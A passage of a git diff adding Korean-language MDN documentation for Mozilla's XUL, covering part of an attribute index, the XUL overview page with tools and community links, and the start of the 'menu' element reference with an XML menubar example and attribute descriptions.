+ <li><a href="ko/XUL/Attribute/cycler">cycler</a></li>
+ <li><a href="ko/XUL/Attribute/datasources">datasources</a></li>
+ <li><a href="ko/XUL/Attribute/default">default</a></li>
+ <li><a href="ko/XUL/Attribute/defaultButton">defaultButton</a></li>
+ <li><a href="ko/XUL/Attribute/defaultset">defaultset</a></li>
+ <li><a href="ko/XUL/Attribute/description">description</a></li>
+ <li><a href="ko/XUL/Attribute/dir">dir</a></li>
+ <li><a href="ko/XUL/Attribute/disableAutocomplete">disableAutocomplete</a></li>
+ <li><a href="ko/XUL/Attribute/disableautocomplete">disableautocomplete</a></li>
+ <li><a href="ko/XUL/Attribute/disableautoselect">disableautoselect</a></li>
+ <li><a href="ko/XUL/Attribute/disableclose">disableclose</a></li>
+ <li><a href="ko/XUL/Attribute/disabled">disabled</a></li>
+ <li><a href="ko/XUL/Attribute/disablehistory">disablehistory</a></li>
+ <li><a href="ko/XUL/Attribute/disableKeyNavigation">disableKeyNavigation</a></li>
+ <li><a href="ko/XUL/Attribute/disablekeynavigation">disablekeynavigation</a></li>
+ <li><a href="ko/XUL/Attribute/disablesecurity">disablesecurity</a></li>
+ <li><a href="ko/XUL/Attribute/dlgType">dlgType</a></li>
+ <li><a href="ko/XUL/Attribute/dragging">dragging</a></li>
+ <li><a href="ko/XUL/Attribute/editable">editable</a></li>
+ <li><a href="ko/XUL/Attribute/editortype">editortype</a></li>
+ <li><a href="ko/XUL/Attribute/element">element</a></li>
+ <li><a href="ko/XUL/Attribute/empty">empty</a></li>
+ <li><a href="ko/XUL/Attribute/enableColumnDrag">enableColumnDrag</a></li>
+ <li><a href="ko/XUL/Attribute/enablehistory">enablehistory</a></li>
+ <li><a href="ko/XUL/Attribute/equalsize">equalsize</a></li>
+ <li><a href="ko/XUL/Attribute/eventnode">eventnode</a></li>
+ <li><a href="ko/XUL/Attribute/events">events</a></li>
+ <li><a href="ko/XUL/Attribute/firstpage">firstpage</a></li>
+ <li><a href="ko/XUL/Attribute/first-tab">first-tab</a></li>
+ <li><a href="ko/XUL/Attribute/fixed">fixed</a></li>
+ <li><a href="ko/XUL/Attribute/flags">flags</a></li>
+ <li><a href="ko/XUL/Attribute/flex">flex</a></li>
+ <li><a href="ko/XUL/Attribute/focused">focused</a></li>
+ <li><a href="ko/XUL/Attribute/forceComplete">forceComplete</a></li>
+ <li><a href="ko/XUL/Attribute/forcecomplete">forcecomplete</a></li>
+ <li><a href="ko/XUL/Attribute/grippyhidden">grippyhidden</a></li>
+ <li><a href="ko/XUL/Attribute/grippytooltiptext">grippytooltiptext</a></li>
+ <li><a href="ko/XUL/Attribute/group">group</a></li>
+ <li><a href="ko/XUL/Attribute/handleCtrlPageUpDown">handleCtrlPageUpDown</a></li>
+ <li><a href="ko/XUL/Attribute/handleCtrlTab">handleCtrlTab</a></li>
+ <li><a href="ko/XUL/Attribute/height">height</a></li>
+ <li><a href="ko/XUL/Attribute/helpURI">helpURI</a></li>
+ <li><a href="ko/XUL/Attribute/hidden">hidden</a></li>
+ <li><a href="ko/XUL/Attribute/hidechrome">hidechrome</a></li>
+ <li><a href="ko/XUL/Attribute/hidecolumnpicker">hidecolumnpicker</a></li>
+ <li><a href="ko/XUL/Attribute/hideheader">hideheader</a></li>
+ <li><a href="ko/XUL/Attribute/homepage">homepage</a></li>
+ <li><a href="ko/XUL/Attribute/icon">icon</a></li>
+ <li><a href="ko/XUL/Attribute/id">id</a></li>
+ <li><a href="ko/XUL/Attribute/ignoreBlurWhileSearching">ignoreBlurWhileSearching</a></li>
+ <li><a href="ko/XUL/Attribute/ignoreblurwhilesearching">ignorebluewhilesearching</a></li>
+ <li><a href="ko/XUL/Attribute/ignorecolumnpicker">ignorecolumnpicker</a></li>
+ <li><a href="ko/XUL/Attribute/ignorekeys">ignorekeys</a></li>
+ <li><a href="ko/XUL/Attribute/image">image</a></li>
+ <li><a href="ko/XUL/Attribute/increment">increment</a></li>
+ <li><a href="ko/XUL/Attribute/inputtooltiptext">inputtooltiptext</a></li>
+ <li><a href="ko/XUL/Attribute/insertafter">insertafter</a></li>
+ <li><a href="ko/XUL/Attribute/insertbefore">insertbefore</a></li>
+ <li><a href="ko/XUL/Attribute/instantApply">instantApply</a></li>
+ <li><a href="ko/XUL/Attribute/inverted">inverted</a></li>
+ <li><a href="ko/XUL/Attribute/iscontainer">iscontainer</a></li>
+ <li><a href="ko/XUL/Attribute/isempty">isempty</a></li>
+ <li><a href="ko/XUL/Attribute/key">key</a></li>
+ <li><a href="ko/XUL/Attribute/keycode">keycode</a></li>
+ <li><a href="ko/XUL/Attribute/keytext">keytext</a></li>
+ <li><a href="ko/XUL/Attribute/label">label</a></li>
+ <li><a href="ko/XUL/Attribute/lastpage">lastpage</a></li>
+ <li><a href="ko/XUL/Attribute/lastSelected">lastSelected</a></li>
+ <li><a href="ko/XUL/Attribute/last-tab">last-tab</a></li>
+ <li><a href="ko/XUL/Attribute/left">left</a></li>
+ <li><a href="ko/XUL/Attribute/linkedpanel">linkedpanel</a></li>
+ <li><a href="ko/XUL/Attribute/maxheight">maxheight</a></li>
+ <li><a href="ko/XUL/Attribute/maxlength">maxlength</a></li>
+ <li><a href="ko/XUL/Attribute/maxpos">maxpos</a></li>
+ <li><a href="ko/XUL/Attribute/maxrows">maxrows</a></li>
+ <li><a href="ko/XUL/Attribute/maxwidth">maxwidth</a></li>
+ <li><a href="ko/XUL/Attribute/member">member</a></li>
+ <li><a href="ko/XUL/Attribute/menu">menu</a></li>
+ <li><a href="ko/XUL/Attribute/menuactive">menuactive</a></li>
+ <li><a href="ko/XUL/Attribute/minheight">minheight</a></li>
+ <li><a href="ko/XUL/Attribute/minResultsForPopup">minResultsForPopup</a></li>
+ <li><a href="ko/XUL/Attribute/minresultsforpopup">minresultsforpopup</a></li>
+ <li><a href="ko/XUL/Attribute/minwidth">minwidth</a></li>
+ <li><a href="ko/XUL/Attribute/mode">mode</a></li>
+ <li><a href="ko/XUL/Attribute/modifiers">modifiers</a></li>
+ <li><a href="ko/XUL/Attribute/mousethrough">mousethrough</a></li>
+ <li><a href="ko/XUL/Attribute/multiline">multiline</a></li>
+ <li><a href="ko/XUL/Attribute/name">name</a></li>
+ <li><a href="ko/XUL/Attribute/next">next</a></li>
+ <li><a href="ko/XUL/Attribute/noautohide">noautohide</a></li>
+ <li><a href="ko/XUL/Attribute/nomatch">nomatch</a></li>
+ <li><a href="ko/XUL/Attribute/observes">observes</a></li>
+ <li><a href="ko/XUL/Attribute/onbeforeaccept">onbeforeaccept</a></li>
+ <li><a href="ko/XUL/Attribute/onbookmarkgroup">onbookmarkgroup</a></li>
+ <li><a href="ko/XUL/Attribute/onchange">onchange</a></li>
+ <li><a href="ko/XUL/Attribute/onclosetab">onclosetab</a></li>
+ <li><a href="ko/XUL/Attribute/oncommand">oncommand</a></li>
+ <li><a href="ko/XUL/Attribute/oncommandupdate">oncommandupdate</a></li>
+ <li><a href="ko/XUL/Attribute/ondialogaccept">ondialogaccept</a></li>
+ <li><a href="ko/XUL/Attribute/ondialogcancel">ondialogcancel</a></li>
+ <li><a href="ko/XUL/Attribute/ondialogdisclosure">ondialogclosure</a></li>
+ <li><a href="ko/XUL/Attribute/ondialoghelp">ondialoghelp</a></li>
+ <li><a href="ko/XUL/Attribute/onerror">onerror</a></li>
+ <li><a href="ko/XUL/Attribute/onerrorcommand">onerrorcommand</a></li>
+ <li><a href="ko/XUL/Attribute/oninput">oninput</a></li>
+ <li><a href="ko/XUL/Attribute/onload">onload</a></li>
+ <li><a href="ko/XUL/Attribute/onnewtab">onnewtab</a></li>
+ <li><a href="ko/XUL/Attribute/onpageadvanced">onpageadvanced</a></li>
+ <li><a href="ko/XUL/Attribute/onpagehide">onpagehide</a></li>
+ <li><a href="ko/XUL/Attribute/onpagerewound">onpagerewound</a></li>
+ <li><a href="ko/XUL/Attribute/onpageshow">onpageshow</a></li>
+ <li><a href="ko/XUL/Attribute/onpanelload">onpanelload</a></li>
+ <li><a href="ko/XUL/Attribute/onpopuphidden">onpopuphidden</a></li>
+ <li><a href="ko/XUL/Attribute/onpopuphiding">onpopuphiding</a></li>
+ <li><a href="ko/XUL/Attribute/onpopupshowing">onpopupshowing</a></li>
+ <li><a href="ko/XUL/Attribute/onpopupshown">onpopupshown</a></li>
+ <li><a href="ko/XUL/Attribute/onsearchcomplete">onsearchcomplete</a></li>
+ <li><a href="ko/XUL/Attribute/onselect">onselect</a></li>
+ <li><a href="ko/XUL/Attribute/ontextcommand">ontextcommand</a></li>
+ <li><a href="ko/XUL/Attribute/ontextentered">ontextentered</a></li>
+ <li><a href="ko/XUL/Attribute/ontextrevert">ontextrevert</a></li>
+ <li><a href="ko/XUL/Attribute/ontextreverted">ontextreverted</a></li>
+ <li><a href="ko/XUL/Attribute/onwizardback">onwizardback</a></li>
+ <li><a href="ko/XUL/Attribute/onwizardcancel">onwizardcancel</a></li>
+ <li><a href="ko/XUL/Attribute/onwizardfinish">onwizardfinish</a></li>
+ <li><a href="ko/XUL/Attribute/onwizardnext">onwizardnext</a></li>
+ <li><a href="ko/XUL/Attribute/open">open</a></li>
+ <li><a href="ko/XUL/Attribute/ordinal">ordinal</a></li>
+ <li><a href="ko/XUL/Attribute/orient">orient</a></li>
+ <li><a href="ko/XUL/Attribute/pack">pack</a></li>
+ <li><a href="ko/XUL/Attribute/pageid">pageid</a></li>
+ <li><a href="ko/XUL/Attribute/pageincrement">pageincrement</a></li>
+ <li><a href="ko/XUL/Attribute/pagestep">pagestep</a></li>
+ <li><a href="ko/XUL/Attribute/parent">parent</a></li>
+ <li><a href="ko/XUL/Attribute/parsetype">parsetype</a></li>
+ <li><a href="ko/XUL/Attribute/persist">persist</a></li>
+ <li><a href="ko/XUL/Attribute/phase">phase</a></li>
+ <li><a href="ko/XUL/Attribute/pickertooltiptext">pickertooltiptext</a></li>
+ <li><a href="ko/XUL/Attribute/popup">popup</a></li>
+ <li><a href="ko/XUL/Attribute/position">position</a></li>
+ <li><a href="ko/XUL/Attribute/preference">preference</a></li>
+ <li><a href="ko/XUL/Attribute/preference-editable">preference-editable</a></li>
+ <li><a href="ko/XUL/Attribute/primary">primary</a></li>
+ <li><a href="ko/XUL/Attribute/properties">properties</a></li>
+ <li><a href="ko/XUL/Attribute/readonly">readonly</a></li>
+ <li><a href="ko/XUL/Attribute/ref">ref</a></li>
+ <li><a href="ko/XUL/Attribute/removeelement">removeelement</a></li>
+ <li><a href="ko/XUL/Attribute/resizeafter">resizeafter</a></li>
+ <li><a href="ko/XUL/Attribute/resizebefore">resizebefore</a></li>
+ <li><a href="ko/XUL/Attribute/rows">rows</a></li>
+ <li><a href="ko/XUL/Attribute/screenX">screenX</a></li>
+ <li><a href="ko/XUL/Attribute/screenY">screenY</a></li>
+ <li><a href="ko/XUL/Attribute/searchSessions">searchSessions</a></li>
+ <li><a href="ko/XUL/Attribute/selected">selected</a></li>
+ <li><a href="ko/XUL/Attribute/selectedIndex">selectedIndex</a></li>
+ <li><a href="ko/XUL/Attribute/seltype">seltype</a></li>
+ <li><a href="ko/XUL/Attribute/setfocus">setfocus</a></li>
+ <li><a href="ko/XUL/Attribute/showCommentColumn">showCommentColumn</a></li>
+ <li><a href="ko/XUL/Attribute/showcommentcolumn">showcommentcolumn</a></li>
+ <li><a href="ko/XUL/Attribute/showpopup">showpopup</a></li>
+ <li><a href="ko/XUL/Attribute/size">size</a></li>
+ <li><a href="ko/XUL/Attribute/sizemode">sizemode</a></li>
+ <li><a href="ko/XUL/Attribute/sizetopopup">sizetopopup</a></li>
+ <li><a href="ko/XUL/Attribute/sort">sort</a></li>
+ <li><a href="ko/XUL/Attribute/sortActive">sortActive</a></li>
+ <li><a href="ko/XUL/Attribute/sortDirection">sortDirection</a></li>
+ <li><a href="ko/XUL/Attribute/sortResource">sortResource</a></li>
+ <li><a href="ko/XUL/Attribute/sortResource2">sortResource2</a></li>
+ <li><a href="ko/XUL/Attribute/src">src</a></li>
+ <li><a href="ko/XUL/Attribute/state">state</a></li>
+ <li><a href="ko/XUL/Attribute/statedatasource">statedatasource</a></li>
+ <li><a href="ko/XUL/Attribute/statusbar">statusbar</a></li>
+ <li><a href="ko/XUL/Attribute/statustext">statustext</a></li>
+ <li><a href="ko/XUL/Attribute/style">style</a></li>
+ <li><a href="ko/XUL/Attribute/substate">substate</a></li>
+ <li><a href="ko/XUL/Attribute/suppressonselect">suppressonselect</a></li>
+ <li><a href="ko/XUL/Attribute/tabindex">tabindex</a></li>
+ <li><a href="ko/XUL/Attribute/tabScrolling">tabScrolling</a></li>
+ <li><a href="ko/XUL/Attribute/tabscrolling">tabscrolling</a></li>
+ <li><a href="ko/XUL/Attribute/targets">targets</a></li>
+ <li><a href="ko/XUL/Attribute/template">template</a></li>
+ <li><a href="ko/XUL/Attribute/timeout">timeout</a></li>
+ <li><a href="ko/XUL/Attribute/title">title</a></li>
+ <li><a href="ko/XUL/Attribute/toolbarname">toolbarname</a></li>
+ <li><a href="ko/XUL/Attribute/tooltip">tooltip</a></li>
+ <li><a href="ko/XUL/Attribute/tooltiptext">tooltiptext</a></li>
+ <li><a href="ko/XUL/Attribute/tooltiptextnew">tooltiptextnew</a></li>
+ <li><a href="ko/XUL/Attribute/top">top</a></li>
+ <li><a href="ko/XUL/Attribute/type">type</a></li>
+ <li><a href="ko/XUL/Attribute/uri">uri</a></li>
+ <li><a href="ko/XUL/Attribute/userAction">userAction</a></li>
+ <li><a href="ko/XUL/Attribute/validate">validate</a></li>
+ <li><a href="ko/XUL/Attribute/value">value</a></li>
+ <li><a href="ko/XUL/Attribute/wait-cursor">wait-cursor</a></li>
+ <li><a href="ko/XUL/Attribute/width">width</a></li>
+ <li><a href="ko/XUL/Attribute/windowtype">windowtype</a></li>
+ <li><a href="ko/XUL/Attribute/wrap">wrap</a></li>
+</ul>
+<p></p>
diff --git a/files/ko/mozilla/tech/xul/index.html b/files/ko/mozilla/tech/xul/index.html
new file mode 100644
index 0000000000..d2517521b3
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/index.html
@@ -0,0 +1,25 @@
+---
+title: XUL
+slug: Mozilla/Tech/XUL
+tags:
+  - XUL
+translation_of: Archive/Mozilla/XUL
+---
+<div class="callout-box"><strong><a href="/ko/XUL_Tutorial" title="ko/XUL_Tutorial">XUL 입문서</a></strong><br>
+처음 XUL을 시작하는 사람을 위한 안내서입니다. 원문은 XULPlanet 에 있습니다.</div>
+<div><strong>XUL</strong> (XML User Interface Language)은 Mozilla의 <a href="/ko/XML" title="ko/XML">XML</a> 기반 언어로 인터넷과 연결되거나 또는 연결되지 않은 채로 동작하는 풍부한 기능을 제공하는 크로스 플랫폼 응용프로그램을 만들 수 있게 해줍니다. 이렇게 만들어진 응용프로그램은 텍스트나 그래픽, 배치 등을 쉽게 바꿀 수 있기 때문에 여러가지 요구에 맞게 즉시 상품화나 지역화 해 내어놓을 수 있습니다. 다이나믹 HTML (<a href="/ko/DHTML" title="ko/DHTML">DHTML</a>)에 친숙한 웹 개발자들은 XUL을 금방 배워서 바로 응용프로그램을 만들어 볼 수 있을 것입니다. XUL 데모(demo)를 조금 보려면 Firefox나 다른 <a href="/ko/Gecko" title="ko/Gecko">Gecko</a> 기반 브라우저에서 <a class="external" href="http://www.hevanet.com/acorbin/xul/top.xul">XUL 주기표</a>를 여세요.</div>
+<table class="topicpage-table"> <tbody> <tr> <td> <h4 id="문서"><a href="/Special:Tags?tag=XUL&amp;language=ko" title="Special:Tags?tag=XUL&amp;language=ko">문서</a></h4> <dl> <dt> <a href="/ko/XUL_Reference" title="ko/XUL_Reference">XUL 레퍼런스</a> </dt> <dd> <small>MDC에 있는 <a href="/ko/Preferences_System" title="ko/Preferences_System">prefwindow</a> 관련 문서도 보시기 바랍니다.</small> </dd> </dl> <dl> <dt> <a href="/ko/XUL_controls" title="ko/XUL_controls">XUL 컨트롤</a> </dt> <dd> <small>XUL에서 사용할 수 있는 컨트롤들의 목록입니다.</small> </dd> </dl> <dl> <dt> <a href="/ko/The_Joy_of_XUL" title="ko/The_Joy_of_XUL">XUL 개요</a> </dt> <dd> <small>XUL의 주요 특징과 구성요소들을 설명합니다.</small> </dd> </dl> <dl> <dt> <a href="/ko/XUL/PopupGuide" title="ko/XUL/PopupGuide">메뉴와 팝업 가이드</a> </dt> <dd> <small>메뉴와 팝업 판넬 사용 가이드</small> </dd> </dl> <dl> <dt> <a href="/ko/XUL/Template_Guide" title="ko/XUL/Template_Guide">템플릿 안내</a> </dt> <dd> <small>데이터소스로 부터 컨텐츠를 만드는 방법인 XUL 템플릿에 대한 자세한 안내. </small> </dd> </dl> <dl> <dt> <a href="/ko/XUL_Overlays" title="ko/XUL_Overlays">오버레이</a> </dt> <dd> <small>XUL 오버레이에 대한 글. 오버레이는 UI에 대한 추가적인 내용을 기술하기 위해서 사용됩니다. 그럼으로써 기존의 XUL 애플리케이션을 확장하고 커스터마이징하는 강력한 수단을 제공합니다. </small> </dd> </dl> <dl> <dt> <a href="/ko/XUL_improvements_in_Firefox_3" title="ko/XUL_improvements_in_Firefox_3">XUL 애플리케이션을 Firefox 3.0에 맞게 개조하기</a> </dt> <dd> <small>XUL 개발자에 영향을 미치는 <a href="/ko/Firefox_3_for_developers" title="ko/Firefox_3_for_developers">Firefox 3.0</a>에서 바뀐 점.</small> </dd> </dl> <dl> <dt> <a href="/ko/Firefox_2_for_developers#For_XUL_and_extension_developers" title="ko/Firefox_2_for_developers#For_XUL_and_extension_developers">XUL 애플리케이션을 Firefox 2.0에 맞게 개조하기</a> </dt> <dd> <small>XUL 개발자에 영향을 미치는 <a href="/ko/Firefox_2_for_developers" title="ko/Firefox_2_for_developers">Firefox 2.0</a>에서 바뀐 점.</small> </dd> </dl> <dl> <dt> <a href="/ko/Adapting_XUL_Applications_for_Firefox_1.5" title="ko/Adapting_XUL_Applications_for_Firefox_1.5">XUL 애플리케이션을 Firefox 1.5에 맞게 개조하기</a> </dt> <dd> <small>XUL 개발자에 영향을 미치는 <a href="/ko/Firefox_1.5_for_developers" title="ko/Firefox_1.5_for_developers">Firefox 1.5</a>에서 바뀐 점.</small> </dd> </dl> <p><span><a href="/Special:Tags?tag=XUL&amp;language=ko" title="Special:Tags?tag=XUL&amp;language=ko">모두 보기...</a></span></p> </td> <td> <h4 id="커뮤니티">커뮤니티</h4> <ul> <li>Mozilla 포럼 보기...</li> </ul> <p></p><ul>
+  <li><a href="https://lists.mozilla.org/listinfo/dev-tech-xul"> 메일링 리스트</a></li>
+
+
+  <li><a href="http://groups.google.com/group/mozilla.dev.tech.xul"> 뉴스그룹</a></li>
+  <li><a href="http://groups.google.com/group/mozilla.dev.tech.xul/feeds"> 웹 Feed</a></li>
+</ul><p></p> <ul> <li><a class="link-irc" href="irc://irc.mozilla.org/xul">irc.mozilla.org #xul 채널</a></li> </ul> <h4 id="도구">도구</h4>
+<ul> <li><a href="/ko/XUL_Explorer" title="ko/XUL_Explorer">XUL Explorer</a> (경량 XUL IDE)</li> <li><a class="external" href="http://ted.mielczarek.org/code/mozilla/extensiondev/">확장 기능 개발자를 위한 확장</a> (실시간 XUL 편집기능 포함)</li> <li><a class="external" href="http://www.extensionsmirror.nl/index.php?showtopic=751">XULRef 사이드바</a></li> <li><a class="external" href="http://www.getfirebug.com/">Firebug</a></li> <li><a href="/ko/DOM_Inspector" title="ko/DOM_Inspector">DOM 검사기</a></li> <li><a class="external" href="http://www.spket.com/">Spket IDE</a>, XUL/XBL용 IDE</li> <li><a class=" external" href="http://www.amplesdk.com/" title="http://www.amplesdk.com/">Ample SDK</a>, (JavaScript/HTML 기반의 크로스 브라우저 XUL 렌더러 )</li>
+</ul>
+<p><span><a href="/Special:Tags?tag=XUL:Tools&amp;language=ko" title="Special:Tags?tag=XUL:Tools&amp;language=ko">모두 보기...</a></span></p><h4 id="관련_주제">관련 주제</h4> <dl> <dd> <a href="/ko/JavaScript" title="ko/JavaScript">JavaScript</a>, <a href="/ko/XBL" title="ko/XBL">XBL</a>, <a href="/ko/CSS" title="ko/CSS">CSS</a>, <a href="/ko/RDF" title="ko/RDF">RDF</a>, <a href="/ko/Extensions" title="ko/Extensions">확장 기능</a>, <a href="/ko/XULRunner" title="ko/XULRunner">XULRunner</a> </dd> </dl> </td> </tr> </tbody>
+</table>
+<p><span>Categories</span></p>
+<p><span>Interwiki Language Links</span></p>
+<p> </p>
+<p></p>
diff --git a/files/ko/mozilla/tech/xul/menu/index.html b/files/ko/mozilla/tech/xul/menu/index.html
new file mode 100644
index 0000000000..fa3a01a593
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/menu/index.html
@@ -0,0 +1,338 @@
+---
+title: menu
+slug: Mozilla/Tech/XUL/menu
+translation_of: Archive/Mozilla/XUL/menu
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/ko/docs/XUL_Reference">XUL Reference home</a>    [
+ <a href="#Examples">예제</a> |
+ <a href="#Attributes">Attributes</a> |
+ <a href="#Properties">Properties</a> |
+ <a href="#Methods">Methods</a> |
+ <a href="#Related">관련 항목</a> ]
+</span></div>
+<p>이 엘리먼트는 <code><a href="/ko/docs/Mozilla/Tech/XUL/menubar" title="menubar">menubar</a></code>에 위치한 <code><a href="/ko/docs/Mozilla/Tech/XUL/button" title="button">button</a></code>과 비슷합니다. 사용자가 menu 엘리먼트를 클릭하면 <code><a href="/ko/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code>의 자식 메뉴를 표시해 줍니다.  menupopup엘리먼트는 서브메뉴를 만듭니다.</p>
+<p>더자세한 정보는 <a href="/en/XUL_Tutorial/Simple_Menu_Bars" title="en/XUL_Tutorial/Simple_Menu_Bars">XUL tutorial</a>를 참고하세요.</p>
+<dl>
+ <dt>
+  Attributes</dt>
+ <dd>
+  <a href="#a-acceltext">acceltext</a>, <a href="#a-accesskey">accesskey</a>, <a href="#a-allowevents">allowevents</a>, <a href="#a-command">command</a>, <a href="#a-crop">crop</a>, <a href="#a-disabled">disabled</a>, <a href="#a-image">image</a>, <a href="#a-label">label</a>, <a href="#a-menuactive">menuactive</a>, <a href="#a-open">open</a>, <a href="#a-sizetopopup">sizetopopup</a>, <a href="#a-tabindex">tabindex</a>, <a href="#a-value">value</a></dd>
+</dl>
+<dl>
+ <dt>
+  Properties</dt>
+ <dd>
+  <a href="#p-accessibleType">accessibleType</a>, <a href="#p-accessKey">accessKey</a>, <a href="#p-command">command</a>, <a href="#p-menuitem.control">control</a>, <a href="#p-crop">crop</a>, <a href="#p-disabled">disabled</a>, <a href="#p-image">image</a>, <a href="#p-itemCount">itemCount</a>, <a href="#p-label">label</a>, <a href="#p-labelElement">labelElement</a>, <a href="#p-menupopup">menupopup</a>, <a href="#p-menu.open">open</a>, <a href="#p-parentContainer">parentContainer</a>, <a href="#p-selected">selected</a>, <a href="#p-tabIndex">tabIndex</a>, <a href="#p-value">value</a></dd>
+</dl>
+<dl>
+ <dt>
+  Methods</dt>
+ <dd>
+  <a href="#m-appendItem">appendItem</a>, <a href="#m-getIndexOfItem">getIndexOfItem</a>, <a href="#m-getItemAtIndex">getItemAtIndex</a>, <a href="#m-insertItemAt">insertItemAt</a>, <a href="#m-removeItemAt">removeItemAt</a></dd>
+ <dt>
+  Style classes</dt>
+ <dd>
+  <a href="#s-menu-iconic">menu-iconic</a></dd>
+</dl>
+<h3 id="Example" name="Example">Example</h3>
+<pre class="brush: xml">&lt;menubar id="sample-menubar"&gt;
+  &lt;menu id="file-menu" label="File"&gt;
+    &lt;menupopup id="file-popup"&gt;
+      &lt;menuitem label="New"/&gt;
+      &lt;menuitem label="Open"/&gt;
+      &lt;menuitem label="Save"/&gt;
+      &lt;menuseparator/&gt;
+      &lt;menuitem label="Exit"/&gt;
+    &lt;/menupopup&gt;
+  &lt;/menu&gt;
+  &lt;menu id="edit-menu" label="Edit"&gt;
+    &lt;menupopup id="edit-popup"&gt;
+      &lt;menuitem label="Undo"/&gt;
+      &lt;menuitem label="Redo"/&gt;
+    &lt;/menupopup&gt;
+  &lt;/menu&gt;
+&lt;/menubar&gt;
+</pre>
+<h3 id="Attributes" name="Attributes">Attributes</h3>
+<p></p><div id="a-acceltext">
+
+<dl>
+  <dt>
+    <code id="a-acceltext"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/acceltext">acceltext</a></code></dt>
+  <dd>
+    Type: <em>string</em></dd>
+  <dd>
+    Text that appears beside the <code><a href="/en-US/docs/Mozilla/Tech/XUL/menu" title="menu">menu</a></code> label to indicate the shortcut key (accelerator key) to use to invoke the command. If this value is set, it overrides an assigned key set in the key attribute. This attribute does not apply to menus directly on the menubar.</dd>
+</dl>
+</div><div id="a-accesskey">
+
+
+<dl>
+ <dt>
+  <code id="a-accesskey"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/accesskey">accesskey</a></code></dt>
+ <dd>
+  타입:
+  <i>
+   character</i>
+ </dd>
+ <dd>
+  이 속성에는 단축키로 사용될 문자를 지정합니다. 문자는 대상 요소의 <code><code id="a-label"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/label">label</a></code></code> 속성값인 텍스트에 포함된 문자 중 하나를 사용하는 것이 좋습니다.
+
+ </dd>
+</dl>
+<h4 id=".EC.98.88.EC.A0.9C" name=".EC.98.88.EC.A0.9C">예제</h4>
+<div class="float-right">
+ <img alt="Image:XUL_ref_accesskey_attr.png"></div>
+<pre>&lt;vbox&gt;
+  &lt;label value="Enter Name" accesskey="e" control="myName"/&gt;
+  &lt;textbox id="myName"/&gt;
+  &lt;button label="Cancel" accesskey="n"/&gt;
+  &lt;button label="Ok" accesskey="O"/&gt;
+&lt;/vbox&gt;
+</pre>
+<h4 id=".EB.98.90_.EB.B3.BC_.EA.B3.B3" name=".EB.98.90_.EB.B3.BC_.EA.B3.B3">또 볼 곳</h4>
+<p><code id="a-label"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/label">label</a></code> attribute, <code id="a-acceltext"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/acceltext">acceltext</a></code> attribute</p>
+
+<p></p>
+</div><div id="a-allowevents">
+
+<dl>
+  <dt><code id="a-allowevents"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/allowevents">allowevents</a></code></dt>
+  <dd>Type: <em>boolean</em></dd>
+  <dd>If true, events are passed to children of the element. Otherwise, events are passed to the element only.</dd>
+</dl>
+
+
+
+
+</div><div id="a-crop">
+
+<dl>
+  <dt>
+    <code id="a-crop"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/crop">crop</a></code></dt>
+  <dd>
+    Type: <em>one of the values below</em></dd>
+  <dd>
+    If the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the <code>crop</code> attribute. An ellipsis will be used in place of the cropped text. If the box direction is reversed, the cropping is reversed.</dd>
+  <dd>
+    <dl>
+      <dt>
+        <code>start</code></dt>
+      <dd>
+        The text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales.</dd>
+      <dt>
+        <code>end</code></dt>
+      <dd>
+        The text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales.</dd>
+      <dt>
+        <code>left</code></dt>
+      <dd>
+        <span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span> The text will be cropped on its left side.</dd>
+      <dt>
+        <code>right</code></dt>
+      <dd>
+        <span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span> The text will be cropped on its right side.</dd>
+      <dt>
+        <code>center</code></dt>
+      <dd>
+        The text will be cropped in the middle, showing both the start and end of the text normally.</dd>
+      <dt>
+        <code>none</code></dt>
+      <dd>
+        The text will be not be cropped using an ellipsis. However, the text will simply be cut off if it is too large. The side depends on the CSS text alignment.</dd>
+    </dl>
+  </dd>
+  <dd>
+    Depending on the platform and theme being used, some elements will have set a maximum width so they will always appear cropped. If you wish to use the value <code>none</code> and the displayed text is larger than this maximum width, you may be able to use the max-width CSS property (or the maxwidth attribute) to override this size. For example, for a menuitem in a menu you can add the following CSS rule when you want to use the value <code>none</code>:</dd>
+  <dd>
+    <pre class="eval">menupopup &gt; menuitem, menupopup &gt; menu { max-width: none; }
+</pre>
+  </dd>
+</dl>
+</div><div id="a-disabled">
+
+
+<dl>
+ <dt><code id="a-disabled"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/disabled">disabled</a></code></dt>
+ <dd>Type: <em>boolean</em></dd>
+ <dd>Indicates whether the element is disabled or not. If this attribute is set, the element is disabled. Disabled elements are usually drawn with grayed-out text. If the element is disabled, it does not respond to user actions, it cannot be focused, and the <code>command</code> event will not fire. In the case of form elements, it will not be submitted. Do not set the attribute to <code>true</code>, as this will suggest you can set it to <code>false</code> to enable the element again, which is not the case.
+
+ <div>The <code>disabled</code> attribute is allowed only for form controls. Using it with an anchor tag (an <code>&lt;a&gt;</code> link) will have no effect.</div>
+
+ <div>
+ The element will, however, still respond to mouse events. To enable the element, leave this attribute out entirely.</div>
+ </dd>
+ <dd>Visible controls have a <code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/disabled">disabled</a></span></code> property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state.</dd>
+</dl>
+
+
+</div><div id="a-label">
+
+
+<dl>
+ <dt><code id="a-label"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/label">label</a></code></dt>
+ <dd>Type: <em>string</em></dd>
